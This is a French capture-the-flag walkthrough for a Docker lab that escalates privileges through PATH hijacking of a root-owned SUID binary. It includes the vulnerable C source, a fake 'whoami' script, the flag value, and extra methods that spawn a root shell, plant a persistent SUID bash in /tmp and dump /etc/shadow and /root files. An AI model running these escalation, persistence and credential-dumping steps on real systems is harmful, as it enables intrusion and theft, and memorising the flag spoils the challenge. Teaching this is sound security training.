CTF-4 Walkthrough

Objectif: Exploiter un binaire SUID vulnérable pour lire le flag situé dans `/root/flag.txt` en manipulant la variable d'environnement PATH

Scénario

Vous êtes `ctfuser`, un utilisateur non privilégié membre du groupe `ctfgroup`. Votre mission est d'obtenir un accès root en exploitant un binaire SUID mal configuré qui appelle des commandes système sans utiliser de chemins absolus.

Ce challenge simule une vulnérabilité réelle où :

- Un binaire appartient à root mais est exécutable par d'autres utilisateurs
- Le bit SUID permet l'exécution avec les privilèges du propriétaire (root)
- Le code appelle des commandes système sans chemins absolus
- La variable PATH peut être manipulée pour exécuter du code malveillant

---

Reconnaissance

Étape 1: Démarrer le challenge

Lancez le conteneur Docker :

```
cd CTF/CTF-4-linux-suid
docker-compose up -d --build
```

Entrez dans le conteneur :

```
docker exec -it ctf4-linux-suid /bin/bash
```

Étape 2: Identifier votre contexte

À la connexion, un message de bienvenue s'affiche. Vérifiez votre identité :

```
whoami
# Sortie : ctfuser

id
# Sortie : uid=1000(ctfuser) gid=1000(ctfuser) groups=1000(ctfuser),1001(ctfgroup)
```

Observation importante : Vous êtes membre du groupe `ctfgroup`. Cela pourrait donner accès à des binaires spécifiques.

Étape 3: Vérifier l'accès au flag

Essayons d'accéder directement au flag :

```
cat /root/flag.txt
# Sortie : Permission denied

ls -la /root
# Sortie : Permission denied
```

Accès refusé - Nous devons trouver un moyen d'élever nos privilèges.

Étape 4: Utiliser le script d'énumération

Le système fournit un script d'aide :

```
python3 ~/enum.py
```

Sortie :

```
╔═══════════════════════════════════════╗
║   CTF-4 System Enumeration Tool       ║
║   Find SUID binaries and vulnerabilities  ║
╚═══════════════════════════════════════╝

Checking PATH directories for write permissions:
 ✓ /home/ctfuser (WRITABLE)
 ✓ /tmp (WRITABLE)
 ✗ /usr/local/bin
 ✗ /usr/bin
 ✗ /bin

   You can write to some PATH directories!
     This could be useful for PATH hijacking...

Enumeration Tips:
 1. Look for SUID binaries owned by root
 2. Check what commands they execute
 3. Try running: strings <binary>
 4. Think about PATH manipulation
 5. Can you create a malicious script?
```

Indices clés :

- Chercher des binaires SUID
- Utiliser `strings` pour analyser les binaires
- Vous pouvez écrire dans `/home/ctfuser` et `/tmp`
- PATH hijacking est possible !

Énumération des binaires SUID

Étape 5: Rechercher les binaires SUID

Les binaires SUID sont des fichiers exécutables qui s'exécutent avec les privilèges de leur propriétaire :

```
find / -perm -4000 -type f 2>/dev/null
```

Explication de la commande :

- `find /` : Chercher depuis la racine
- `-perm -4000` : Fichiers avec le bit SUID (4000 en octal)
- `-type f` : Uniquement les fichiers (pas les répertoires)
- `2>/dev/null` : Supprimer les erreurs "Permission denied"

Résultat :

```
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpasswd
/usr/local/bin/check_system  ← Suspect !
```

Analyse :

- Les binaires système (`su` , `passwd` , etc.) sont normaux
- `/usr/local/bin/check_system` est inhabituel et intéressant !

Étape 6: Analyser le binaire suspect

Vérifions les permissions et le propriétaire :

```
ls -la /usr/local/bin/check_system
```

Sortie :

```
-rwsr-x--- 1 root ctfgroup 16712 Dec 28 2025 check_system
 |||
 ||└─ s = SUID bit activé
 |└── propriétaire peut écrire
 └─── propriétaire peut lire

Owner: root
Group: ctfgroup (vous en êtes membre!)
```

Observations critiques :

- Le bit SUID est activé (`s` dans `rws`)
- Le propriétaire est `root`
- Le groupe est `ctfgroup` (vous y appartenez)
- Le groupe peut exécuter le binaire
- **Quand vous exécutez ce binaire, il s'exécute avec les privilèges root !**

Étape 7: Exécuter le binaire pour voir son comportement

```
/usr/local/bin/check_system
```

[*/ Current effective UID: 0 /*] Current real UID: 1000

[1] Checking current user... root

[2] Checking system status... uid=0(root) gid=0(root) groups=0(root),1000(ctfgroup),1001(ctfuser)

[3] Listing important files... total 180 drwxr-xr-x 1 root root 4096 Dec 8 23:34 . drwxr-xr-x 1 root root 4096 Dec 8 00:00 .. -rw-r--r-- 1 root root 9588 Dec 21 18:15 alternatives.log drwxr-xr-x 1 root root 4096 Dec 21 18:14 apt

Analyse de la vulnérabilité

Étape 8: Examiner le code avec strings

La commande `strings` extrait les chaînes de caractères lisibles d'un binaire :

```
strings /usr/local/bin/check_system
```

Sortie pertinente :

```
 System Health Check Tool v1.0
Running security diagnostics...
Current effective UID: %d
Current real UID: %d
Checking current user...
whoami                          ← Pas de chemin absolu !
Checking system status...
id                              ← Pas de chemin absolu !
Listing important files...
ls -la /var/log 2>/dev/null | head -5  ← "ls" sans chemin absolu !
Diagnostic complete!
```

VULNÉRABILITÉ IDENTIFIÉE

Le binaire appelle les commandes suivantes **sans chemins absolus** :

- `whoami` au lieu de `/usr/bin/whoami`
- `id` au lieu de `/usr/bin/id`
- `ls` au lieu de `/bin/ls`

Comment fonctionne l'exploitation ?

Quand un programme exécute `system("whoami")` :

1. Le shell cherche `whoami` dans les répertoires listés dans `$PATH`
2. Il exécute le **premier** `whoami` trouvé
3. Si nous créons notre propre `whoami` et modifions `$PATH`, le shell exécutera **notre version**
4. Puisque le binaire a le bit SUID, **notre code s'exécute en tant que root** !

Le code source vulnérable (check_system.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    printf("System Health Check Tool v1.0\n");

    // VULNÉRABILITÉ : setuid(0) permet au shell de garder les privilèges root
    setuid(0);
    setgid(0);

    // VULNÉRABILITÉ : Appel sans chemin absolu
    system("whoami");  // Au lieu de system("/usr/bin/whoami");

    system("id");      // Au lieu de system("/usr/bin/id");

    system("ls -la /var/log 2>/dev/null | head -5");  // Au lieu de system("/bin/ls ...");

    return 0;
}
```

Exploitation - PATH Hijacking

Étape 9: Créer un faux binaire malveillant

Nous allons créer notre propre version de `whoami` qui lit le flag au lieu d'afficher l'utilisateur :

```
# Créer un répertoire pour notre exploit
mkdir -p /home/ctfuser/exploit
cd /home/ctfuser/exploit

# Créer un script bash nommé "whoami"
cat > whoami << 'EOF'
#!/bin/bash
# Exploit pour lire le flag
cat /root/flag.txt
EOF

# Rendre le script exécutable
chmod +x whoami
```

Explication :

- Nous créons un fichier nommé `whoami` (même nom que la commande légitime)
- Il contient une commande simple : `cat /root/flag.txt`
- Quand le binaire SUID appellera `whoami`, ce script s'exécutera **en tant que root**

Étape 10: Vérifier le PATH actuel

```
echo $PATH
# Sortie : /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
```

Le shell cherche les commandes dans cet ordre :

1. `/usr/local/bin`
2. `/usr/bin`
3. `/bin`
4. ...

Étape 11: Manipuler la variable PATH

Ajoutons notre répertoire **au début** de PATH :

```
export PATH=/home/ctfuser/exploit:$PATH

# Vérifier
echo $PATH
# Sortie : /home/ctfuser/exploit:/usr/local/bin:/usr/bin:/bin:...
```

Impact : Maintenant, quand un programme cherche `whoami`, il trouvera **d'abord** notre version malveillante !

Étape 12: Exécuter l'exploit

Lançons le binaire SUID avec notre PATH modifié :

```
/usr/local/bin/check_system
```

FLAG OBTENU : `CTF{gezg486ZAF}`

Exploitation avancée - Shell root

Au lieu de simplement lire le flag, obtenons un shell root complet :

Méthode 1: Shell interactif

```
cd /home/ctfuser/exploit

# Créer un "whoami" qui lance un shell
cat > whoami << 'EOF'
#!/bin/bash
/bin/bash -i
EOF

chmod +x whoami

# Modifier PATH et exécuter
export PATH=/home/ctfuser/exploit:$PATH
/usr/local/bin/check_system
```

Vous obtiendrez un prompt `root@container` avec tous les privilèges !

Méthode 2: Shell avec escalade persistante

```
cat > whoami << 'EOF'
#!/bin/bash
# Créer une copie de bash avec SUID pour un accès root permanent
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
chown root:root /tmp/rootbash
EOF

chmod +x whoami
export PATH=/home/ctfuser/exploit:$PATH
/usr/local/bin/check_system

# Maintenant, utilisez le shell root persistant
/tmp/rootbash -p
```

Méthode 3: Exfiltration de toutes les données sensibles

```
cat > whoami << 'EOF'
#!/bin/bash
# Exfiltrer toutes les données sensibles
cat /root/flag.txt > /tmp/loot.txt
cat /etc/shadow >> /tmp/loot.txt
find /root -type f -exec cat {} \; >> /tmp/loot.txt 2>/dev/null
chmod 644 /tmp/loot.txt
EOF

chmod +x whoami
export PATH=/home/ctfuser/exploit:$PATH
/usr/local/bin/check_system

# Lire le butin
cat /tmp/loot.txt
```

Concepts clés

Bit SUID (Set User ID)

Qu'est-ce que SUID ?

Le bit SUID permet à un fichier exécutable de s'exécuter avec les permissions de son **propriétaire** plutôt que celles de l'utilisateur qui l'exécute.

Notation

```
Symbolique :
-rwsr-xr-x  (s à la place de x pour le propriétaire)

Numérique :
4755 = SUID + rwxr-xr-x
│
└─ 4 = bit SUID
```

Commandes

```
# Activer SUID
chmod u+s fichier
chmod 4755 fichier

# Désactiver SUID
chmod u-s fichier
chmod 0755 fichier

# Trouver tous les fichiers SUID
find / -perm -4000 2>/dev/null
```

Variable PATH

Fonctionnement

Quand vous tapez une commande (ex: `ls`), le shell :

1. Vérifie si c'est une commande interne (builtin)
2. Cherche dans chaque répertoire de `$PATH` dans l'ordre
3. Exécute le **premier** fichier correspondant trouvé

Manipulation

```
# Afficher PATH
echo $PATH

# Ajouter au début (plus prioritaire)
export PATH=/mon/dir:$PATH

# Ajouter à la fin (moins prioritaire)
export PATH=$PATH:/mon/dir

# Remplacer complètement
export PATH=/usr/bin:/bin
```

Fonctions système dangereuses

Fonction	Danger	Alternative
`system()`	Lance un shell, vulnérable aux injections	`execv()`, `execve()`
`popen()`	Similaire à system()	`fork()` + `exec()`
`exec()` (shell)	Utilise le shell	Variantes sans shell

Élévation de privilèges

Techniques courantes :

1. **Exploitation de binaires SUID** (ce CTF)
2. **Sudo mal configuré** (wildcards, NOPASSWD)
3. **Capabilities Linux** mal attribuées
4. **Exploitation kernel** (CVEs)
5. **Cron jobs** mal protégés
6. **Services vulnérables** (root)

Ressources complémentaires

- GTFOBins - SUID Binaries
- Linux Privilege Escalation Guide
- OWASP - Path Manipulation
- setuid() man page
- Linux Capabilities